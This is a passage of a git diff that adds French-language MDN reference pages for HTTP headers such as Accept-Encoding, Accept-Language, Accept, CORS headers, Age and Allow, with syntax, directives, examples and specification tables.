+ <li><span class="tlid-translation translation"><span title="">Autres </span></span>Header<span class="tlid-translation translation"><span title=""> similaires</span></span> : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/accept-encoding/index.html b/files/fr/web/http/headers/accept-encoding/index.html
new file mode 100644
index 0000000000..d65b1ca62b
--- /dev/null
+++ b/files/fr/web/http/headers/accept-encoding/index.html
@@ -0,0 +1,127 @@
+---
+title: Accept-Encoding
+slug: Web/HTTP/Headers/Accept-Encoding
+translation_of: Web/HTTP/Headers/Accept-Encoding
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>L'en-tête HTTP <strong><code>Accept-Encoding</code></strong> permet de définir quel sera l'encodage du contenu. Il s'agit généralement de l'algorithme de compression utilisé par le serveur. Le client peut alors décoder le corps de la requête correctement. Utilisant la négociation de contenu (<a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation)</a>, le serveur choisit l'une des propositions d'encodage que le client supporte. Le serveur l'utilise et le notifie au client à l'aide de l'en-tête {{HTTPHeader("Content-Encoding")}} de la réponse.</div>
+
+<div> </div>
+
+<div>Même si le client et le serveur supportent deux algorithmes de compressions communs, le serveur peut choisir de ne pas compresser le corps de la réponse si l'encodage <code>entity </code>(aucune compression) est accepté par le client. Deux exemples de cas communs peuvent conduire à la non-compression du corps de la réponse:</div>
+
+<div> </div>
+
+<ul>
+ <li>Les données sont déjà compressées et la compression ne réduira pas la taille des données transmises. Cela peut être le cas de certains formats d'images qui sont déjà compressés;</li>
+ <li>Le serveur est en surcharge et ne peut plus allouer suffisamment de temps de calcul nécessaire pour compresser les données. Microsoft recommande de ne pas utiliser la compression si le serveur utilise plus de 80% de la puissance de calcul.</li>
+</ul>
+
+<p>Dès lors que l’usage d’<code>identity</code>, signifiant l’absence de compression, n’est pas explicitement interdite, que ce soit par <code>identity;q=0</code> ou <code>*;q=0</code> (sans l’usage d’une autre valeur pour <code>identity</code>), le serveur ne doit jamais renvoyer une erreur {{HTTPStatus("406")}} <code>Not Acceptable.</code></p>
+
+<div class="note"><strong>Notes:</strong>
+
+<ul>
+ <li>
+  <p>Un dépot IANA garde à jour <a href="http://www.iana.org/assignments/http-parameters/http-parameters.xml#http-parameters-1">une liste complète des encodage de contenu</a>.</p>
+ </li>
+ <li>Deux autres encodages, <code>bzip</code> et<code>bzip2</code>, sont parfois utilisés, bien que non-standard. Ils implémentent l’algorithme utilisé par les deux programmes UNIX respectifs. À noter que le premier n’est plus maintenu suite à des problème de license.</li>
+</ul>
+</div>
+
+<p> </p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Accept-Encoding: encoding_method;q=value
+</pre>
+
+<dl>
+ <dt>encoding_method</dt>
+ <dd>La valeur de encoding_method peut être: gzip, compress, deflate, br, identity ou *.</dd>
+ <dt>value</dt>
+ <dd>La valeur de q (qvalue) correspond à la priorité d'utilisation des méthodes d'encodage. Il doit être un nombre compris entre 0 et 1, il peut s'agir d'un nombre à virgule (pas plus de 3 chiffres après la virgule). 1 étant la valeur la plus importante, 0 la moins importante.</dd>
+</dl>
+
+<div class="note">
+<p>Il est possible de préciser plusieurs méthodes d'encodage, elles doivent être séparée par une virgule.</p>
+</div>
+
+<div class="note">
+<p>La valeur <code>q</code> est facultative, il est possible de l'omettre dans l'en-tête.</p>
+</div>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt><code>gzip</code></dt>
+ <dd>Un format de compression utilisant <a class="external external-icon" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77), avec un CRC (Contrôle de Redondance Cyclique) de 32-bit.</dd>
+</dl>
+
+<dl>
+ <dt><code>compress</code></dt>
+ <dd>Un format de compression utilisant l'algorithme <a class="external external-icon" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW).</dd>
+ <dt><code>deflate</code></dt>
+ <dd>Un format de compression utilisant la structure <a class="external external-icon" href="http://en.wikipedia.org/wiki/Zlib">zlib</a>, avec l'algorithme de compression <a class="external external-icon" href="http://en.wikipedia.org/wiki/DEFLATE"><em>deflate</em></a>.</dd>
+ <dt><code>br</code></dt>
+ <dd>Un format de compression utilisant l'algorithme <a class="external external-icon" href="https://en.wikipedia.org/wiki/Brotli">Brotli</a>.</dd>
+ <dt><code>identity</code></dt>
+ <dd>Indique la fonction identité (c'est-à-dire pas de compression ou de modification). Cette valeur est toujours considérée comme acceptable, même si l'en-tête ne le précise pas.</dd>
+ <dt><code>*</code></dt>
+ <dd>Correspond à tous les systèmes d'encodage de contenu qui n'ont pas été listés dans l'en-tête. C'est la valeur par défaut de l'ent-ête s'il n'est pas présent. Cela ne signifie pas que tous les algorithmes sont supportés; seulement qu'aucune préférence n'est exprimée.</dd>
+ <dt><code>;q=</code> (qvalues weighting)</dt>
+ <dd>La valeur indique l'ordre de préférence des méthodes de compression à utiliser. Ce champ utilise les <a href="/en-US/docs/Glossary/Quality_value">quality values</a> aussi appelée <em>weight </em>ou <em>poids</em>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>Accept-Encoding: gzip
+
+Accept-Encoding: gzip, compress, br
+
+Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Accept-Encoding", "5.3.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité">Compatibilité</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/headers/accept-encoding")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.3">https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Content_negotiation">Négociation de contenu</a> HTTP</li>
+ <li>En-tête résultant de la négociation de contenu: {{HTTPHeader("Content-Encoding")}}</li>
+ <li>Autres en-têtes en rapport: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/accept-language/index.html b/files/fr/web/http/headers/accept-language/index.html
new file mode 100644
index 0000000000..a64edd7f48
--- /dev/null
+++ b/files/fr/web/http/headers/accept-language/index.html
@@ -0,0 +1,95 @@
+---
+title: Accept-Language
+slug: Web/HTTP/Headers/Accept-Language
+tags:
+  - En-tête HTTP
+  - En-tête de requête
+  - HTTP
+  - Négociation de contenu
+  - Reference
+translation_of: Web/HTTP/Headers/Accept-Language
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'en-tête <strong><code>Accept-Language</code></strong> de la requête HTTP indique quelles sont les langues que le client est capable de comprendre, et quelle variante locale est préférée. En utilisant la <a href="/fr-FR/docs/Web/HTTP/Content_negotiation">négociation de contenu</a>, le serveur choisit alors l'une des propositions, l'utilise et informe le client de son choix par l'entête de réponse {{HTTPHeader("Content-Language")}}. Les navigateurs définissent les valeurs adéquates pour cet entête en fonction de la langue de leur interface utilisateur, et même si un utilisateur peut la changer, cela se produit rarement (et cela est vu d'un mauvais œil, dans la mesure où cela permet l'identification par empreinte numérique).</p>
+
+<p>Cet en-tête est une indication destinée à être utilisée lorsque le serveur n'a aucun moyen de déterminer la langue d'une autre manière, comme une URL spécifique, qui est contrôlée par une décision explicite de l'utilisateur. Il est recommandé que le serveur ne passe jamais outre une décision explicite. Le contenu d'<code>Accept-Language</code> est souvent hors du contrôle de l'utilisateur (comme lors d'un voyage et de l'utilisation d'un cybercafé à l'étranger) ; l'utilisateur peut également vouloir visiter une page dans une langue que celle des paramètres régionaux de son interface utilisateur.</p>
+
+<p>Si le serveur ne peut servir aucune langue qui corresponde, il peut théoriquement renvoyer un code d'erreur {{HTTPStatus ("406")}} (Not Acceptable). Mais, pour une meilleure expérience utilisateur, cela est rarement fait et la façon de faire la plus courante est d'ignorer l'en-tête <code>Accept-Language</code> dans ce cas.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th>
+   <td>oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Accept-Language: &lt;langue&gt;
+Accept-Language: &lt;locale&gt;
+Accept-Language: *
+
+// Type multiples, pondérés par la syntaxe {{glossary("quality values", "valeur de qualité")}} :
+Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt><code>&lt;langue&gt;</code></dt>
+ <dd>Une langue exprimée sous la forme de 2 ou 3 caractères.</dd>
+ <dt><code>&lt;locale&gt;</code></dt>
+ <dd>Une balise de langue complète. En plus de la langue elle-même, elle peut contenir des informations additionnelles après un<code>'-'</code>. L'information supplémentaire la plus courante est la variante de pays (telle que<code>'en-US'</code>) ou le type d'alphabet à utiliser (comme<code>'sr-Lat'</code>). D'autres variantes comme le type d'orthographe (<code>'de-DE-1996'</code>) ne sont pas habituellement utilisées dans le contexte de cet en-tête.</dd>
+ <dt><code>*</code></dt>
+ <dd>Toute langue ; <code>'*'</code> est utilisé comme un joker.</dd>
+ <dt><code>;q=</code> (pondération q-factor)</dt>
+ <dd>Une quantité numérique donnant un ordre de préférence et qui utilise une <a href="/en-US/docs/Glossary/Quality_values">valeur de qualité</a> relative, appelée <em>poids</em>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>Accept-Language: de
+
+Accept-Language: de-CH
+
+Accept-Language: en-US,en;q=0.5
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Accept-Language", "5.3.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Accept-Language")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>HTTP <a href="/fr-FR/docs/Web/HTTP/Content_negotiation">négociation de contenu</a></li>
+ <li>En-tête avec le résultat de la négociation de contenu : {{HTTPHeader("Content-Language")}}</li>
+ <li>Autres en-têtes similaires : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/accept/index.html b/files/fr/web/http/headers/accept/index.html
new file mode 100644
index 0000000000..9b42bcf9af
--- /dev/null
+++ b/files/fr/web/http/headers/accept/index.html
@@ -0,0 +1,90 @@
+---
+title: Accept
+slug: Web/HTTP/Headers/Accept
+tags:
+  - Entête HTTP
+  - Entête de Requête
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Headers/Accept
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><font face="Open Sans, arial, x-locale-body, sans-serif">Le paramètre d'entête de requête HTTP </font><code><strong>Accept</strong></code> indique quels sont les types de contenu, exprimés sous la forme de types MIME, que le client sera capable d'interpréter. Par le biais de la résolution de contenu -(<a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a>), le serveur sélectionne ensuite une proposition parmi toutes, l'utilise et informe le client de son choix avec l'entête de réponse {{HTTPHeader("Content-Type")}}. Les navigateurs fixent des valeurs adéquates pour cet entête selon le contexte où la requête a été exécutée : selon que l'utilisateur souhaite récupérer une feuille de style css,  ou qu'il souhaite récupérer une image, une vidéo ou un script, la valeur fixée pour la requête ne sera pas la même.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'entête</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th>
+   <td>oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Accept: &lt;MIME_type&gt;/&lt;MIME_subtype&gt;
+Accept: &lt;MIME_type&gt;/*
+Accept: */*
+
+// Types multiples, pondérés {{glossary("quality values", "quality value")}} par la syntaxe :
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt><code>&lt;MIME_type&gt;/&lt;MIME_subtype&gt;</code></dt>
+ <dd>Un type MIME unique et déterminé <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a>, comme par exemple <code>text/html</code>.</dd>
+ <dt><code>&lt;MIME_type&gt;/*</code></dt>
+ <dd>un type MIME type ne comprenant pas de sous-type. <code>image/*</code> prendra en charge <code>image/png</code>, <code>image/svg</code>, <code>image/gif</code> et tous autres types d'image.</dd>
+ <dt><code>*/*</code></dt>
+ <dd>Tout type MIME </dd>
+ <dt><code>;q=</code> (facteur de pondération q)</dt>
+ <dd>N'importe quelle valeur utilisée est placée selon un ordre de préférence exprimé par une valeur de qualité (<a href="/en-US/docs/Glossary/Quality_values">quality value</a>) relative appelée le <em>poids</em>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>Accept: text/html
+
+Accept: image/*
+
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Accept", "5.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Vocabulaire et cas d'usage</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">La table de compatibilité de cette page est générée à partir de données structurées. Si vous souhaitez contribuer à la gestion de ces données, merci de consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous soumettre une requête "Pull request".</p>
+
+<p>{{Compat("http.headers.Accept")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a></li>
+ <li>Entête avec le résultat de la résolution de contenu : {{HTTPHeader("Content-Type")}}</li>
+ <li>Autres entêtes similaires : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/access-control-allow-methods/index.html b/files/fr/web/http/headers/access-control-allow-methods/index.html
new file mode 100644
index 0000000000..3296a6c5ed
--- /dev/null
+++ b/files/fr/web/http/headers/access-control-allow-methods/index.html
@@ -0,0 +1,86 @@
+---
+title: Access-Control-Allow-Methods
+slug: Web/HTTP/Headers/Access-Control-Allow-Methods
+tags:
+  - CORS
+  - HTTP
+  - Reference
+  - entête
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Methods
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'entête de réponse <strong><code>Access-Control-Allow-Methods</code></strong> spécifie les méthodes autorisées quand on accède à la ressource en réponse à une requête de pré-vérification ({{glossary("preflight request")}}).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'entête</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Access-Control-Allow-Methods: &lt;methode&gt;, &lt;methode&gt;, ...
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>&lt;methode&gt;</dt>
+ <dd>Liste délimitée par des virgules des <a href="/en-US/docs/Web/HTTP/Methods">méthodes de requêtes HTTP</a> autorisées.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>Access-Control-Allow-Methods: POST, GET, OPTIONS</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-allow-methods', 'Access-Control-Allow-Methods')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<p class="hidden">La table de compatibilité de cette page est générée à partir de données structurées. Si vous souhaitez contribuer à ces données, allez sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez nous une pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Methods")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<ul>
+ <li>La valeur joker (*) mentionnée dans la dernière version de la spécification n'est pas encore implémentée dans tous les navigateurs :
+  <ul>
+   <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li>
+   <li>Firefox: {{bug(1309358)}}</li>
+   <li>Servo: <a href="https://github.com/servo/servo/issues/13283">Issue 13283</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li>
+ <li>{{HTTPHeader("Access-Control-Expose-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Allow-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Request-Method")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/access-control-allow-origin/index.html b/files/fr/web/http/headers/access-control-allow-origin/index.html
new file mode 100644
index 0000000000..652085a513
--- /dev/null
+++ b/files/fr/web/http/headers/access-control-allow-origin/index.html
@@ -0,0 +1,84 @@
+---
+title: Access-Control-Allow-Origin
+slug: Web/HTTP/Headers/Access-Control-Allow-Origin
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'entête <code><strong>Access-Control-Allow-Origin</strong></code> renvoie une réponse indiquant si les ressources peuvent être partagées avec une <a href="/fr/docs/Glossaire/Origine">origine</a> donnée.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Access-Control-Allow-Origin: *
+Access-Control-Allow-Origin: &lt;origin&gt;
+Access-Control-Allow-Origin: null
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>*</dt>
+ <dd>Pour les demandes sans informations d’identification, le serveur peut spécifier « * » comme un caractère générique, permettant ainsi à n’importe quelle origine d'accéder à la ressource.</dd>
+ <dt>&lt;origin&gt;</dt>
+ <dd>Spécifie un URI qui peut accéder à la ressource. Il n'est possible de spécifier qu'une seule origine.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Pour permettre à n'importe quelle ressource d'accéder à vos ressources, vous pouvez indiquer :</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: *</pre>
+
+<p>Pour permettre <code>https://developer.mozilla.org</code> d'accéder à vos ressources, vous pouvez indiquer :</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org</pre>
+
+<h3 id="CORS_et_le_cache">CORS et le cache</h3>
+
+<p>Si le serveur spécifie un hôte d'origine plutôt que "*", il doit également inclure "<em>Origin</em>" dans l'en-tête de réponse "<em><a href="/fr/docs/Web/HTTP/Headers/Vary">Vary</a></em>" pour indiquer aux clients que les réponses du serveur seront différentes en fonction de la valeur de la demande d'origine entête.</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org
+Vary: Origin</pre>
+
+<h2 id="Caractéristiques">Caractéristiques</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Caractéristiques</th>
+   <th scope="col">Statue</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité">Compatibilité</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Origin")}}</li>
+ <li>{{HTTPHeader("Vary")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/access-control-request-headers/index.html b/files/fr/web/http/headers/access-control-request-headers/index.html
new file mode 100644
index 0000000000..dca51b3e7b
--- /dev/null
+++ b/files/fr/web/http/headers/access-control-request-headers/index.html
@@ -0,0 +1,73 @@
+---
+title: Access-Control-Request-Headers
+slug: Web/HTTP/Headers/Access-Control-Request-Headers
+tags:
+  - CORS
+  - HTTP
+  - entête
+  - pré-vérification
+translation_of: Web/HTTP/Headers/Access-Control-Request-Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'entête <strong><code>Access-Control-Request-Headers</code></strong> est utilisé quand une requête de pré-vérification ({{glossary("preflight request")}}) et faite vers le serveur pour savoir les entêtes qui seront utilisés après la pré-vérification.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Access-Control-Request-Headers: &lt;header-name&gt;, &lt;header-name&gt;, ...
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>&lt;header-name&gt;</dt>
+ <dd>Une liste <a href="/en-US/docs/Web/HTTP/Headers">d'entête HTTP</a> séparé par des virgules qui sont inclus dans la requête.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>Access-Control-Request-Headers: X-PINGOTHER, Content-Type</pre>
+
+<p>Dans cet exemple le serveur en réponse à la demande de pré-vérification indiquer au demandeur de la pré-vérification que la requête suivante sera accepté si elle contient <em>X-PINGOTHER</em> ou <em>Content-type</em>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-request-headers', 'Access-Control-Request-Headers')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/headers/access-control-request-headers")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Request-Method")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/age/index.html b/files/fr/web/http/headers/age/index.html
new file mode 100644
index 0000000000..1a814f95b1
--- /dev/null
+++ b/files/fr/web/http/headers/age/index.html
@@ -0,0 +1,71 @@
+---
+title: Age
+slug: Web/HTTP/Headers/Age
+translation_of: Web/HTTP/Headers/Age
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'entête HTTP {{HTTPHeader("Age")}} indique le temps en secondes pendant lequel la ressource a été stockée dans un cache proxy.</p>
+
+<p>Sa valeur est généralement proche de zéro. Elle vaut 0 lorsque la ressource vient d'être rapatriée du serveur d'origine; autrement, sa valeur équivaut à la différence entre la date courante du proxy et la valeur de l'entête {{HTTPHeader("Date")}} inclus dans la réponse HTTP.</p>
+
+<p> </p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'entête</th>
+   <td>Entête de réponse</td>
+  </tr>
+  <tr>
+   <th scope="row">Nom d'entête interdit</th>
+   <td>non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Age: &lt;valeur-en-secondes&gt;
+</pre>
+
+<h2 id="Directive">Directive</h2>
+
+<dl>
+ <dt>&lt;valeur-en-secondes&gt;</dt>
+ <dd>
+ <p>Un entier positif indiquant le temps en secondes pendant lequel la ressource a été stockée dans un cache proxy.</p>
+ </dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre>Age: 24</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7234", "Age", "5.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">La table de compatibilité de cette page est générée à partir des données structurées. Si vous souhaitez y contribuer, visitez l'adresse <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et faites un pull request.</p>
+
+<p>{{Compat("http.headers.Age")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/allow/index.html b/files/fr/web/http/headers/allow/index.html
new file mode 100644
index 0000000000..e8605d2bfa
--- /dev/null
+++ b/files/fr/web/http/headers/allow/index.html
@@ -0,0 +1,66 @@
+---
+title: Allow
+slug: Web/HTTP/Headers/Allow
+tags:
+  - Entête HTTP
+  - HTTP
+  - Reference
+  - entête
+translation_of: Web/HTTP/Headers/Allow
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'entête <code><strong>Allow</strong></code> liste les méthodes supportées par une ressource.</p>
+
+<p>Cet entête doit être envoyée si le serveur répond avec un statut {{HTTPStatus("405")}} <code>Method Not Allowed</code> pour indiquer quelles méthodes peuvent être utilisées pour la requête. Une entête <code>Allow</code> vide indique que la ressource n'autorise aucune méthode, ce qui peut erriver temporairement pour une ressource donnée, par exemple.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'entête</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Allow: &lt;methodes-http&gt;
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>&lt;methodes-http&gt;</dt>
+ <dd>La liste des <a href="/en-US/docs/Web/HTTP/Methods">méthodes de requête HTTP</a> autorisées, séparées par des virgules.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>Allow: GET, POST, HEAD</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
